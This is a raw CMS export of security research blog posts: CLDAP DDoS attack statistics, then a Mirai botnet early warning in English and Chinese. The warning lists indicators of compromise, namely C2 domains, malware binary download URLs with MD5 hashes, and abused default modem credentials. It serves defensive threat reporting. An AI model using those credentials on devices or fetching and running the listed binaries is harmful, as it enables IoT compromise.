loading="lazy"></p> <h3 id="">目的端口分布</h3> <p>受害者目的端口的分布如下表所示:</p> <ul> <li>绝大部分CLDAP攻击的目的端口是随机化的，与一般情况一致。通常而言，反射型DDoS攻击中的目的端口是攻击者可以随意控制并篡改的，目的端口随机化是普遍现象。</li> <li>但是在80端口和 26383 端口上可以观察到有两个显著的波峰，特别是 26383 端口并不是一个常用端口。这也许是因为某个特定的CLDAP攻击工具或者攻击服务提供商被很多攻击者使用，从而在攻击中反复出现。</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/11/dst_port_distribution.png" alt="" loading="lazy"></p> <!--kg-card-end: markdown-->

作者：Xu Yang，kenshin 利用DDoSMon.net，我们实时并持续的监控全球DDoS攻击相关事件。长期以来，DDoS攻击的反射放大细分类型中，DNS、NTP、CharGen、SSDP是最经常被滥用的服务，过去一年中的排位依次是第1、2、3、4位。 近期我们注意到， 基于CLDAP的 反射放大攻击（以下称为CLDAP攻击）已经超过SSDP和CharGEN成为第三大反射型DDoS攻击。CLDAP攻击在过去365天和90天在反射放大类DDoS攻击中占据比例，对比如下图： 数据来源：DDoSMon。网站上Insight页面的内容可以覆盖本次blog中的大部分数据。 CLDAP攻击首次出现是在去年10月底，到现在恰好一年。本篇blog中，我们对CLDAP攻击上升情况做一个回顾： * 在过去的一年中，我们累积观察到304,146次CLDAP反射放大攻击，涉及215,229 个独立IP，或者说受害者。CLDAP早已经成为现实存在的DDoS攻击威胁。 * 值得注意的是，最近两三个月以来，CLDAP攻击发展进入新的阶段。在我们的监测范围内，过去三个月内CLDAP攻击次数累积达到168k(11.2%)次，略超过CharGen （164k次，11%），大幅领先SSDP（70k，4.4%）。 我们OpenData中的DRDoS数据中包括了CLDAP在内的最近一月的TOP反射点IP，符合条件的安全研究人员可以免费通过 [email protected] 申请数据下载权限。 阶段划分 上图是过去一年中每周CLDAP攻击的次数，反映了CLDAP攻击的活跃程度。 回顾过去一年中CLDAP攻击，我们可以比较清晰的将过去一年划分为三个阶段： * 初始阶段：2016年10月底开始出现到2017年4月初，周均攻击1000次左右 * 第一次爬升阶段：2017年4月初到2017年8月底，周均攻击次数6000次左右 * 第二次爬升阶段：2017年8月底至今，周均攻击15000次左右 我们认为，CLDAP攻击在经历了早期的起伏后，在最近两三个月已经进入一个相对稳定的发展阶段。 另一方面，我们在观察反射点的重用程度时，也注意到了类似的时间阶段划分。数据同样表明最近两三个月是一个稳定发展的阶段： 攻击向量组合 在所有CLDAP攻击中，单一的CLDAP攻击方式目前仍然是主流。如下表，单一CLDAP攻击向量占据超过84%的比例；剩下的是CLDAP与其他攻击向量混合的攻击，共计占据大约15%的比例。 持续时长分布 CLDAP攻击的持续时长变化比较大：最短的攻击小于1分钟，最长攻击我们曾经观察到持续超过3天。如下图所显示，1、2、3个标准差（68%, 95%, 99.7%）对应的攻击时长分别是30分钟、10小时和24小时。 上文提到的长达3天的攻击，发生在2017-09-24 15:00:00～2017-09-28 09:00:00之间。受害者IP地址(151...15)属于某CDN厂商。 目的端口分布 受害者目的端口的分布如下表所示: * 绝大部分CLDAP攻击的目的端口是随机化的，与一般情况一致。通常而言，反射型DDoS攻击中的目的端口是攻击者可以随意控制并篡改的，目的端口随机化是普遍现象。 * 但是在80端口和 26383 端口上可以观察到有两个显著的波峰，特别是 26383 端口并不是一个常用端口。这也许是因为某个特定的CLDAP攻击工具或者攻击服务提供商被很多攻击者使用，从而在攻击中反复出现。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"作者：Xu Yang，kenshin\n\n利用DDoSMon.net，我们实时并持续的监控全球DDoS攻击相关事件。长期以来，DDoS攻击的反射放大细分类型中，DNS、NTP、CharGen、SSDP是最经常被滥用的服务，过去一年中的排位依次是第1、2、3、4位。\n\n近期我们注意到， 基于CLDAP的 反射放大攻击（以下称为CLDAP攻击）已经超过SSDP和CharGEN成为第三大反射型DDoS攻击。CLDAP攻击在过去365天和90天在反射放大类DDoS攻击中占据比例，对比如下图：\n\n\n\n\n数据来源：[DDoSMon](https://ddosmon.net)。网站上[Insight页面](https://ddosmon.net/insight)的内容可以覆盖本次blog中的大部分数据。\n\nCLDAP攻击首次出现是在去年10月底，到现在恰好一年。本篇blog中，我们对CLDAP攻击上升情况做一个回顾：\n\n* 在过去的一年中，我们累积观察到304,146次CLDAP反射放大攻击，涉及215,229 个独立IP，或者说受害者。CLDAP早已经成为现实存在的DDoS攻击威胁。\n* 值得注意的是，最近两三个月以来，CLDAP攻击发展进入新的阶段。在我们的监测范围内，过去三个月内CLDAP攻击次数累积达到168k(11.2%)次，略超过CharGen （164k次，11%），大幅领先SSDP（70k，4.4%）。\n\n\n我们[OpenData](http://data.netlab.360.com/)中的[DRDoS数据](http://data.netlab.360.com/drdos-reflector/)中包括了CLDAP在内的最近一月的TOP反射点IP，符合条件的安全研究人员可以免费通过 [email protected] 申请数据下载权限。\n\n\n###阶段划分\n\n\n\n上图是过去一年中每周CLDAP攻击的次数，反映了CLDAP攻击的活跃程度。\n\n回顾过去一年中CLDAP攻击，我们可以比较清晰的将过去一年划分为三个阶段：\n\n* 初始阶段：2016年10月底开始出现到2017年4月初，周均攻击1000次左右\n* 第一次爬升阶段：2017年4月初到2017年8月底，周均攻击次数6000次左右\n* 第二次爬升阶段：2017年8月底至今，周均攻击15000次左右\n\n我们认为，CLDAP攻击在经历了早期的起伏后，在最近两三个月已经进入一个相对稳定的发展阶段。\n\n另一方面，我们在观察反射点的重用程度时，也注意到了类似的时间阶段划分。数据同样表明最近两三个月是一个稳定发展的阶段：\n\n\n\n\n###攻击向量组合\n\n在所有CLDAP攻击中，单一的CLDAP攻击方式目前仍然是主流。如下表，单一CLDAP攻击向量占据超过84%的比例；剩下的是CLDAP与其他攻击向量混合的攻击，共计占据大约15%的比例。\n\n\n\n\n###持续时长分布\n\nCLDAP攻击的持续时长变化比较大：最短的攻击小于1分钟，最长攻击我们曾经观察到持续超过3天。如下图所显示，1、2、3个标准差（68%, 95%, 99.7%）对应的攻击时长分别是30分钟、10小时和24小时。\n\n\n\n上文提到的长达3天的攻击，发生在2017-09-24 15:00:00～2017-09-28 09:00:00之间。受害者IP地址(151.***.***.15)属于某CDN厂商。\n\n\n\n\n###目的端口分布\n受害者目的端口的分布如下表所示:\n\n* 绝大部分CLDAP攻击的目的端口是随机化的，与一般情况一致。通常而言，反射型DDoS攻击中的目的端口是攻击者可以随意控制并篡改的，目的端口随机化是普遍现象。\n* 但是在80端口和 26383 端口上可以观察到有两个显著的波峰，特别是 26383 端口并不是一个常用端口。这也许是因为某个特定的CLDAP攻击工具或者攻击服务提供商被很多攻击者使用，从而在攻击中反复出现。\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

71

post

2017-11-24T06:12:00.000Z

63873b9a8b1c1e0007f52f02

early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-en

2018-10-06T09:12:17.000Z

public

published

2017-11-24T09:28:23.000Z

Early Warning: A New Mirai Variant is Spreading Quickly on Port 23 and 2323

<!--kg-card-begin: markdown--><p>[Updates on 2017-11-28]</p> <ul> <li>Both C2s have been sink-holed now by security community.</li> <li>admin/CentryL1nk is a typo for admin/CenturyL1nk.</li> </ul> <p>About 60 hours ago, since 2017-11-22 11:00, we noticed big upticks on port 2323 and 23 scan traffic, with almost 100k unique scanner IP came from Argentina. After investigation, we are quite confident to tell this is a <strong>new mirai variant</strong>.</p> <h4 id="rootcauseanalysis">Root Cause Analysis</h4> <p>In our honeypot traffic, two new credentials <strong>admin/CentryL1nk</strong> and <strong>admin/QwestM0dem</strong> are now actively being used. Note the credential admin/CentryL1nk was first appeared in an exploit about ZyXEL PK5001Z modem in <a href="https://www.exploit-db.com/exploits/43105/">exploit-db </a> less than a month ago.</p> <p>The abuse of these two credentials began at around 2017-11-22 11:00, and reached its peak during 2017-11-23 daytime. This is a good time span match with this 2323/23 port scanning on <a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1510934400000&amp;tsend=1511539200000&amp;dstport=2323&amp;toplistname=srcas&amp;topn=30"><strong>Scanmon</strong></a>.</p> <p>Quite a lot of IP abusing these two credential also appear in ScanMon radar.</p> <ul> <li>admin/CentryL1nk : 748 (66.5%) out of 1125</li> <li>admin/QwestM0dem : 1175 (69.4%) out of 1694</li> </ul> <p>The <strong>IP overlap</strong> together with the <strong>time span match</strong>, make us believe this is the root cause.</p> <p><img src="__GHOST_URL__/content/images/2017/11/1_time_curve_of_two_new_credential_in_honeypot.png" alt="" loading="lazy"><br> Figure-1 two new credentials being actively abused</p> <p><img src="__GHOST_URL__/content/images/2017/11/2_time_curve_of_port_2323_scanning-1.png" alt="" loading="lazy"><br> Figure-2 scanning uptick on port 2323</p> <h4 id="malwaresampleandc2">Malware Sample and C2</h4> <p>The corresponding malware samples are:</p> <ul> <li>0ee0fc76a8d8ad37374f4ac3553d8937</li> <li>018a9569f559bfafbc433dc81caf3ec0</li> <li>be6165a3e131cc92d3f7d51284cf70bb</li> </ul> <p>The C2 represents in the samples is:</p> <ul> <li>bigboatreps.pw:23</li> <li>blacklister.nl:23</li> </ul> <h4 id="mostinfectioninargentinatillnow">Most Infection in Argentina till Now</h4> <p>We noticed that most of the scanner IP came from Argentina: about 65.7k unique scanners from Argentina in less than a single day, almost 100k in last 60 hours.</p> <p><img src="__GHOST_URL__/content/images/2017/11/3_most_scanner_come_from_telefonica_de_argentina-2.png" alt="" loading="lazy"><br> Figure-3 most of the scanner IP came from Argentina</p> <p>This make us wondering it is an attack focus on several specific types of IoT device, and these devices are widely deployed in Argentina, just as what happened in last year <a href="__GHOST_URL__/a-mirai-botnet-evolvement-new-variant-and-old-c2/">Telekom event</a>.</p> <h4 id="ioc">IoC</h4> <h6 id="c2">C2</h6> <p>bigboatreps.pw:23<br> blacklister.nl:23</p> <h6 id="samplemd5anddownloadurllist">Sample md5 and download URL list</h6> <p><a href="http://80.211.173.20:80/amnyu.arm">http://80.211.173.20:80/amnyu.arm</a> 0255c6d7b88947c7bc82c9b06169e69d<br> <a href="http://80.211.173.20:80/amnyu.arm">http://80.211.173.20:80/amnyu.arm</a> 3e72bbab07516010ab537d7236c48a2c<br> <a href="http://80.211.173.20:80/amnyu.arm">http://80.211.173.20:80/amnyu.arm</a> 6c5cadcc9dbcac55b42d1347f4b51df1<br> <a href="http://80.211.173.20:80/amnyu.arm7">http://80.211.173.20:80/amnyu.arm7</a> 2e5ec99ef2cf8878dc588edd8031b249<br> <a href="http://80.211.173.20:80/amnyu.arm7">http://80.211.173.20:80/amnyu.arm7</a> 359527251c09f4ec8b0ad65ab202f1bb<br> <a href="http://80.211.173.20:80/amnyu.arm7">http://80.211.173.20:80/amnyu.arm7</a> 4c21d1f6acfb0155eb877418bb15001d<br> <a href="http://80.211.173.20:80/amnyu.arm7">http://80.211.173.20:80/amnyu.arm7</a> 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href="http://80.211.173.20:80/amnyu.m68k">http://80.211.173.20:80/amnyu.m68k</a> 4ccd3036cadcbe2a0c4b28ce4ad77b7b<br> <a href="http://80.211.173.20:80/amnyu.m68k">http://80.211.173.20:80/amnyu.m68k</a> 84d737bc5a1821c2f21489695c2c3a71<br> <a href="http://80.211.173.20:80/amnyu.m68k">http://80.211.173.20:80/amnyu.m68k</a> 8f347206f06b05ea8d2e8ea03f4f92d4<br> <a href="http://80.211.173.20:80/amnyu.m68k">http://80.211.173.20:80/amnyu.m68k</a> 94353157ddcd3cb40a75a5ecc1044115<br> <a href="http://80.211.173.20:80/amnyu.m68k">http://80.211.173.20:80/amnyu.m68k</a> b1c66e2a2ed68087df706262b12ca059<br> <a href="http://80.211.173.20:80/amnyu.m68k">http://80.211.173.20:80/amnyu.m68k</a> b8aedf6ee75e4d6b6beeafc51b809732<br> <a href="http://80.211.173.20:80/amnyu.mips">http://80.211.173.20:80/amnyu.mips</a> 0ee0fc76a8d8ad37374f4ac3553d8937<br> <a href="http://80.211.173.20:80/amnyu.mips">http://80.211.173.20:80/amnyu.mips</a> 2aa0c53d7d405fa6ffb7ccb895fb895f<br> <a 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4b375509896e111ef4c3eb003d38077f<br> <a href="http://blacklister.nl/bins/mirai.arm">http://blacklister.nl/bins/mirai.arm</a> be6165a3e131cc92d3f7d51284cf70bb<br> <a href="http://blacklister.nl/bins/mirai.arm5n">http://blacklister.nl/bins/mirai.arm5n</a> c639bc6b50ab0be250147572956a9d6b<br> <a href="http://blacklister.nl/bins/mirai.arm6">http://blacklister.nl/bins/mirai.arm6</a> 8f9c5099e3749d0199262289c9deaa3d<br> <a href="http://blacklister.nl/bins/mirai.arm7">http://blacklister.nl/bins/mirai.arm7</a> e508956188f2cb71605ae0e8fbdf4a64<br> <a href="http://blacklister.nl/bins/mirai.i486">http://blacklister.nl/bins/mirai.i486</a> 25846ce769f0bd5b204f440127d51f21<br> <a href="http://blacklister.nl/bins/mirai.i686">http://blacklister.nl/bins/mirai.i686</a> d3c82dd5d512304efc6a42018f0bf2a7<br> <a href="http://blacklister.nl/bins/mirai.m68k">http://blacklister.nl/bins/mirai.m68k</a> 3ef657efcfe16ad869a587d30480306f<br> <a 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[Updates on 2017-11-28] * Both C2s have been sink-holed now by security community. * admin/CentryL1nk is a typo for admin/CenturyL1nk. About 60 hours ago, since 2017-11-22 11:00, we noticed big upticks on port 2323 and 23 scan traffic, with almost 100k unique scanner IP came from Argentina. After investigation, we are quite confident to tell this is a new mirai variant. Root Cause Analysis In our honeypot traffic, two new credentials admin/CentryL1nk and admin/QwestM0dem are now actively being used. Note the credential admin/CentryL1nk was first appeared in an exploit about ZyXEL PK5001Z modem in exploit-db less than a month ago. The abuse of these two credentials began at around 2017-11-22 11:00, and reached its peak during 2017-11-23 daytime. This is a good time span match with this 2323/23 port scanning on Scanmon. Quite a lot of IP abusing these two credential also appear in ScanMon radar. * admin/CentryL1nk : 748 (66.5%) out of 1125 * admin/QwestM0dem : 1175 (69.4%) out of 1694 The IP overlap together with the time span match, make us believe this is the root cause. Figure-1 two new credentials being actively abused Figure-2 scanning uptick on port 2323 Malware Sample and C2 The corresponding malware samples are: * 0ee0fc76a8d8ad37374f4ac3553d8937 * 018a9569f559bfafbc433dc81caf3ec0 * be6165a3e131cc92d3f7d51284cf70bb The C2 represents in the samples is: * bigboatreps.pw:23 * blacklister.nl:23 Most Infection in Argentina till Now We noticed that most of the scanner IP came from Argentina: about 65.7k unique scanners from Argentina in less than a single day, almost 100k in last 60 hours. Figure-3 most of the scanner IP came from Argentina This make us wondering it is an attack focus on several specific types of IoT device, and these devices are widely deployed in Argentina, just as what happened in last year Telekom event. IoC C2 bigboatreps.pw:23 blacklister.nl:23 Sample md5 and download URL list http://80.211.173.20:80/amnyu.arm 0255c6d7b88947c7bc82c9b06169e69d http://80.211.173.20:80/amnyu.arm 3e72bbab07516010ab537d7236c48a2c http://80.211.173.20:80/amnyu.arm 6c5cadcc9dbcac55b42d1347f4b51df1 http://80.211.173.20:80/amnyu.arm7 2e5ec99ef2cf8878dc588edd8031b249 http://80.211.173.20:80/amnyu.arm7 359527251c09f4ec8b0ad65ab202f1bb http://80.211.173.20:80/amnyu.arm7 4c21d1f6acfb0155eb877418bb15001d http://80.211.173.20:80/amnyu.arm7 5cd69f7c5cd6aef4f4b8e08181028314 http://80.211.173.20:80/amnyu.arm7 794f01740878252e8df257b0511c65df http://80.211.173.20:80/amnyu.arm7 b0791270cc6b180ff798440f416f6271 http://80.211.173.20:80/amnyu.arm7 eee4ff0e2c9482acea3251c9c2ce6daf http://80.211.173.20:80/amnyu.arm a6f11eba76debd49ee248b6539c4d83c http://80.211.173.20:80/amnyu.arm ccc8761335b2d829dff739aece435eac http://80.211.173.20:80/amnyu.arm dd10fb3ed22a05e27bca3008c0558001 http://80.211.173.20:80/amnyu.arm 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http://80.211.173.20:80/amnyu.mpsl 09d98cbaa9794184841450221d410f15 http://80.211.173.20:80/amnyu.mpsl 21f1ab847a9b27f8aaabcafd9cf59756 http://80.211.173.20:80/amnyu.mpsl 33e1e2803bb70cd0d66911175782c6a1 http://80.211.173.20:80/amnyu.mpsl 4e63eccca00b01b66162fa5258d03956 http://80.211.173.20:80/amnyu.mpsl 7d2c1f3d81a2df7beea99552d0704c2d http://80.211.173.20:80/amnyu.mpsl 7e0f883f239c922a151aab2500400880 http://80.211.173.20:80/amnyu.mpsl e46cbc10309e970ec267afee496832c9 http://80.211.173.20:80/amnyu.ppc 3dadafe1cc9639a7d374682dafab954c http://80.211.173.20:80/amnyu.ppc 49e4b3e5d7302c2faf08c1ed585a89ca http://80.211.173.20:80/amnyu.ppc 80bcea07b752ae4306da5f24f6693bea http://80.211.173.20:80/amnyu.ppc 9e4caeada13676ddc5b7be44e03fe396 http://80.211.173.20:80/amnyu.ppc a40852f9895d956fe198cb2f2f702ebf http://80.211.173.20:80/amnyu.ppc a8bde89d2fe98268801b58f42214cdca http://80.211.173.20:80/amnyu.ppc e968bf902db104c91d3aaa0bb363f1bd http://80.211.173.20:80/amnyu.sh4 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http://blacklister.nl/bins/mirai.x86 539e9bf8c81bd3e9ae520fd74218a6b8 http://blacklister.nl/bins/mirai.x86_64 d69e501480f03f06e4579fa13e47d04a

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"[Updates on 2017-11-28]\n\n* Both C2s have been sink-holed now by security community.\n* admin/CentryL1nk is a typo for admin/CenturyL1nk.\n\n\n\nAbout 60 hours ago, since 2017-11-22 11:00, we noticed big upticks on port 2323 and 23 scan traffic, with almost 100k unique scanner IP came from Argentina. After investigation, we are quite confident to tell this is a **new mirai variant**.\n\n####Root Cause Analysis\nIn our honeypot traffic, two new credentials **admin/CentryL1nk** and **admin/QwestM0dem** are now actively being used. Note the credential admin/CentryL1nk was first appeared in an exploit about ZyXEL PK5001Z modem in [exploit-db ](https://www.exploit-db.com/exploits/43105/) less than a month ago.\n\nThe abuse of these two credentials began at around 2017-11-22 11:00, and reached its peak during 2017-11-23 daytime. This is a good time span match with this 2323/23 port scanning on [**Scanmon**](http://scan.netlab.360.com/#/dashboard?tsbeg=1510934400000&tsend=1511539200000&dstport=2323&toplistname=srcas&topn=30).\n\nQuite a lot of IP abusing these two credential also appear in ScanMon radar.\n\n * admin/CentryL1nk : 748 (66.5%) out of 1125\n * admin/QwestM0dem : 1175 (69.4%) out of 1694\n\nThe **IP overlap** together with the **time span match**, make us believe this is the root cause.\n\n\n Figure-1 two new credentials being actively abused\n\n\n Figure-2 scanning uptick on port 2323\n\n####Malware Sample and C2\nThe corresponding malware samples are:\n\n* 0ee0fc76a8d8ad37374f4ac3553d8937\n* 018a9569f559bfafbc433dc81caf3ec0\n* be6165a3e131cc92d3f7d51284cf70bb\n\nThe C2 represents in the samples is:\n\n* bigboatreps.pw:23\n* blacklister.nl:23\n\n\n####Most Infection in Argentina till Now\nWe noticed that most of the scanner IP came from Argentina: about 65.7k unique scanners from Argentina in less than a single day, almost 100k in last 60 hours.\n\n\n Figure-3 most of the scanner IP came from Argentina\n\nThis make us wondering it is an attack focus on several specific types of IoT device, and these devices are widely deployed in Argentina, just as what happened in last year [Telekom event](__GHOST_URL__/a-mirai-botnet-evolvement-new-variant-and-old-c2/).\n\n####IoC\n######C2 \nbigboatreps.pw:23\nblacklister.nl:23\n\n\n######Sample md5 and download URL list\n\nhttp://80.211.173.20:80/amnyu.arm\t0255c6d7b88947c7bc82c9b06169e69d\nhttp://80.211.173.20:80/amnyu.arm\t3e72bbab07516010ab537d7236c48a2c\nhttp://80.211.173.20:80/amnyu.arm\t6c5cadcc9dbcac55b42d1347f4b51df1\nhttp://80.211.173.20:80/amnyu.arm7\t2e5ec99ef2cf8878dc588edd8031b249\nhttp://80.211.173.20:80/amnyu.arm7\t359527251c09f4ec8b0ad65ab202f1bb\nhttp://80.211.173.20:80/amnyu.arm7\t4c21d1f6acfb0155eb877418bb15001d\nhttp://80.211.173.20:80/amnyu.arm7\t5cd69f7c5cd6aef4f4b8e08181028314\nhttp://80.211.173.20:80/amnyu.arm7\t794f01740878252e8df257b0511c65df\nhttp://80.211.173.20:80/amnyu.arm7\tb0791270cc6b180ff798440f416f6271\nhttp://80.211.173.20:80/amnyu.arm7\teee4ff0e2c9482acea3251c9c2ce6daf\nhttp://80.211.173.20:80/amnyu.arm\ta6f11eba76debd49ee248b6539c4d83c\nhttp://80.211.173.20:80/amnyu.arm\tccc8761335b2d829dff739aece435eac\nhttp://80.211.173.20:80/amnyu.arm\tdd10fb3ed22a05e27bca3008c0558001\nhttp://80.211.173.20:80/amnyu.arm\te090660bbc7c673bf81680648718e39e\nhttp://80.211.173.20:80/amnyu.m68k\t1782f07f02d746c13ede8388329921e4\nhttp://80.211.173.20:80/amnyu.m68k\t4ccd3036cadcbe2a0c4b28ce4ad77b7b\nhttp://80.211.173.20:80/amnyu.m68k\t84d737bc5a1821c2f21489695c2c3a71\nhttp://80.211.173.20:80/amnyu.m68k\t8f347206f06b05ea8d2e8ea03f4f92d4\nhttp://80.211.173.20:80/amnyu.m68k\t94353157ddcd3cb40a75a5ecc1044115\nhttp://80.211.173.20:80/amnyu.m68k\tb1c66e2a2ed68087df706262b12ca059\nhttp://80.211.173.20:80/amnyu.m68k\tb8aedf6ee75e4d6b6beeafc51b809732\nhttp://80.211.173.20:80/amnyu.mips\t0ee0fc76a8d8ad37374f4ac3553d8937\nhttp://80.211.173.20:80/amnyu.mips\t2aa0c53d7d405fa6ffb7ccb895fb895f\nhttp://80.211.173.20:80/amnyu.mips\t56b74e34ddf0111700a89592b5a8b010\nhttp://80.211.173.20:80/amnyu.mips\t62fa57f007a32f857a7e1d9fb5e064eb\nhttp://80.211.173.20:80/amnyu.mips\t633df071ac6f1d55193fc4c5c8747f2a\nhttp://80.211.173.20:80/amnyu.mips\t6eed6b55c5cd893aa584894a07eec32f\nhttp://80.211.173.20:80/amnyu.mips\t97c314a2a100ea4987e73e008225d3be\nhttp://80.211.173.20:80/amnyu.mpsl\t09d98cbaa9794184841450221d410f15\nhttp://80.211.173.20:80/amnyu.mpsl\t21f1ab847a9b27f8aaabcafd9cf59756\nhttp://80.211.173.20:80/amnyu.mpsl\t33e1e2803bb70cd0d66911175782c6a1\nhttp://80.211.173.20:80/amnyu.mpsl\t4e63eccca00b01b66162fa5258d03956\nhttp://80.211.173.20:80/amnyu.mpsl\t7d2c1f3d81a2df7beea99552d0704c2d\nhttp://80.211.173.20:80/amnyu.mpsl\t7e0f883f239c922a151aab2500400880\nhttp://80.211.173.20:80/amnyu.mpsl\te46cbc10309e970ec267afee496832c9\nhttp://80.211.173.20:80/amnyu.ppc\t3dadafe1cc9639a7d374682dafab954c\nhttp://80.211.173.20:80/amnyu.ppc\t49e4b3e5d7302c2faf08c1ed585a89ca\nhttp://80.211.173.20:80/amnyu.ppc\t80bcea07b752ae4306da5f24f6693bea\nhttp://80.211.173.20:80/amnyu.ppc\t9e4caeada13676ddc5b7be44e03fe396\nhttp://80.211.173.20:80/amnyu.ppc\ta40852f9895d956fe198cb2f2f702ebf\nhttp://80.211.173.20:80/amnyu.ppc\ta8bde89d2fe98268801b58f42214cdca\nhttp://80.211.173.20:80/amnyu.ppc\te968bf902db104c91d3aaa0bb363f1bd\nhttp://80.211.173.20:80/amnyu.sh4\t141930ed206ef5f076b2a233b390ea65\nhttp://80.211.173.20:80/amnyu.sh4\t1bdaf4cd21fb9cb42d971a25fb183d04\nhttp://80.211.173.20:80/amnyu.sh4\t25d3ddb85bf392c273dd93922199628c\nhttp://80.211.173.20:80/amnyu.sh4\t39eddba755333e22841b2627a2a19e59\nhttp://80.211.173.20:80/amnyu.sh4\t485f2b2a684865ead274bba6931c95c9\nhttp://80.211.173.20:80/amnyu.sh4\t56afda94860e8d1ca8a7b9960769020d\nhttp://80.211.173.20:80/amnyu.sh4\t9dc0c166e30922d1ea8da06ba46996dc\nhttp://80.211.173.20:80/amnyu.spc\t3f0322c0b7379e492a17d3cb4fa2c82e\nhttp://80.211.173.20:80/amnyu.spc\t53c60f58ce576071c71ede7df656e823\nhttp://80.211.173.20:80/amnyu.spc\t5db44876c3acc0b589c8d696c41b6413\nhttp://80.211.173.20:80/amnyu.spc\t651b186b04583f0067d4cc2d95565a95\nhttp://80.211.173.20:80/amnyu.spc\ta18b4a6250f51c1f350b37e1187292fb\nhttp://80.211.173.20:80/amnyu.spc\tc5e1a57671dab607b8fa7363ab6582ab\nhttp://80.211.173.20:80/amnyu.spc\te6cd9197d443fb9fa79ab103232e2b67\nhttp://80.211.173.20:80/amnyu.x86\t018a9569f559bfafbc433dc81caf3ec0\nhttp://80.211.173.20:80/amnyu.x86\t1663952daca0c49326fb8fa5585d8eec\nhttp://80.211.173.20:80/amnyu.x86\t243d2c8ba1c30fa81043a82eaa7756e7\nhttp://80.211.173.20:80/amnyu.x86\t4b375509896e111ef4c3eb003d38077f\nhttp://80.211.173.20:80/amnyu.x86\t6371b6b1d030ac7d2cb1b0011230f97f\nhttp://80.211.173.20:80/amnyu.x86\t64bda230a3b31a115a29e0afd8df5d8a\nhttp://80.211.173.20:80/amnyu.x86\ted825b8aadee560e5c70ffaa5b441438\nhttp://80.211.173.20/amnyu.arm7\tb0791270cc6b180ff798440f416f6271\nhttp://80.211.173.20/amnyu.arm\te090660bbc7c673bf81680648718e39e\nhttp://80.211.173.20/amnyu.m68k\t4ccd3036cadcbe2a0c4b28ce4ad77b7b\nhttp://80.211.173.20/amnyu.mips\t97c314a2a100ea4987e73e008225d3be\nhttp://80.211.173.20/amnyu.mpsl\t7d2c1f3d81a2df7beea99552d0704c2d\nhttp://80.211.173.20/amnyu.ppc\te968bf902db104c91d3aaa0bb363f1bd\nhttp://80.211.173.20/amnyu.sh4\t485f2b2a684865ead274bba6931c95c9\nhttp://80.211.173.20/amnyu.spc\t5db44876c3acc0b589c8d696c41b6413\nhttp://80.211.173.20/amnyu.x86\t4b375509896e111ef4c3eb003d38077f\nhttp://blacklister.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73

post

2017-11-24T09:32:03.000Z

63873b9a8b1c1e0007f52f03

early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2

2018-10-06T09:02:37.000Z

public

published

2017-11-24T09:53:55.000Z

安全威胁早期预警：新的mirai僵尸网络变种正在端口23和2323上积极传播

<!--kg-card-begin: markdown--><p>【2017-11-28 更新】</p> <ul> <li>原文中提到的两个C2均已被安全社区sinkhole。</li> <li>原文中的 admin/CentryL1nk 是 admin/CenturyL1nk 的笔误。</li> </ul> <p>大约60个小时以前，从2017-11-22 11:00开始，360网络安全研究院注意到在端口2323和23上的扫描流量有一个暴涨现象。其中主要扫描者，大约10万个扫描IP地址位于阿根廷，同时360网络安全研究院也注意到大约有5千个IP地址来自国内。分析以后，目前比较确定这是一个<strong>新的mirai变种</strong>。</p> <h4 id="">根因分析</h4> <p>在我们蜜罐中，最近有两个新的用户名密码被频繁使用到，分别是 <strong>admin/CentryL1nk</strong> 和 <strong>admin/QwestM0dem</strong> 。值得一提，admin/CentryL1nk 这对用户名密码是针对ZyXEL PK5001Z 调制解调器的，在一份上月底的<a href="https://www.exploit-db.com/exploits/43105/">利用</a> 中被批露。</p> <p>上述两个用户名密码对，被滥用的初始时间在2017-11-22 11:00附近，在2017-11-23 日间达到顶峰。这个时间曲线与我们在<a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1510934400000&amp;tsend=1511539200000&amp;dstport=2323&amp;toplistname=srcas&amp;topn=30"><strong>Scanmon</strong></a>上观察到2323/23端口的扫描曲线比较一致。</p> <p>另外，蜜罐看到的滥用两个用户名密码对的IP地址，与ScanMon上看到的IP来源地址，也有较大重合：</p> <ul> <li>admin/CentryL1nk : 748 (66.5%) 对 1125</li> <li>admin/QwestM0dem : 1175 (69.4%) 对 1694</li> </ul> <p>基于以上IP范围重合程度和时间曲线重合程度，我们认为这就是根本原因。</p> <p><img src="__GHOST_URL__/content/images/2017/11/1_time_curve_of_two_new_credential_in_honeypot.png" alt="" loading="lazy"><br> 图1 两个正在被滥用的用户名密码对</p> <p><img src="__GHOST_URL__/content/images/2017/11/2_time_curve_of_port_2323_scanning-1.png" alt="" loading="lazy"><br> 图2 端口2323上的扫描暴涨</p> <h4 id="c2">恶意代码和C2</h4> <p>对应的恶意代码样本如下：</p> <ul> <li>0ee0fc76a8d8ad37374f4ac3553d8937</li> <li>018a9569f559bfafbc433dc81caf3ec0</li> <li>be6165a3e131cc92d3f7d51284cf70bb</li> </ul> <p>样本中的C2 如下：</p> <ul> <li>bigboatreps.pw:23</li> <li>blacklister.nl:23</li> </ul> <h4 id="105ip">目前为止大约10万台感染机器位于阿根廷，国内也有超过5千个IP感染</h4> <p>我们注意到，扫描者IP绝大多数来自阿根廷，过去24小时内有6万5千个，60小时内接近10万个。国内的感染IP也有超过5千个。</p> <p><img src="__GHOST_URL__/content/images/2017/11/3_most_scanner_come_from_telefonica_de_argentina-2.png" alt="" loading="lazy"><br> 图3 绝大多数的感染机器来自阿根廷</p> <p>我们据此猜测，这次攻击针对某些特定类型的IoT设备，而这些IoT设备在阿根廷被大量部署，这次的情况跟去年<a href="__GHOST_URL__/a-mirai-botnet-evolvement-new-variant-and-old-c2/">德国电信</a>相关事件的情况比较类似。</p> <h4 id="ioc">IoC</h4> <h6 id="c2">C2</h6> <p>bigboatreps.pw:23<br> blacklister.nl:23</p> <h6 id="md5url">样本md5和下载URL列表</h6> <p><a href="http://80.211.173.20:80/amnyu.arm">http://80.211.173.20:80/amnyu.arm</a> 0255c6d7b88947c7bc82c9b06169e69d<br> <a href="http://80.211.173.20:80/amnyu.arm">http://80.211.173.20:80/amnyu.arm</a> 3e72bbab07516010ab537d7236c48a2c<br> <a href="http://80.211.173.20:80/amnyu.arm">http://80.211.173.20:80/amnyu.arm</a> 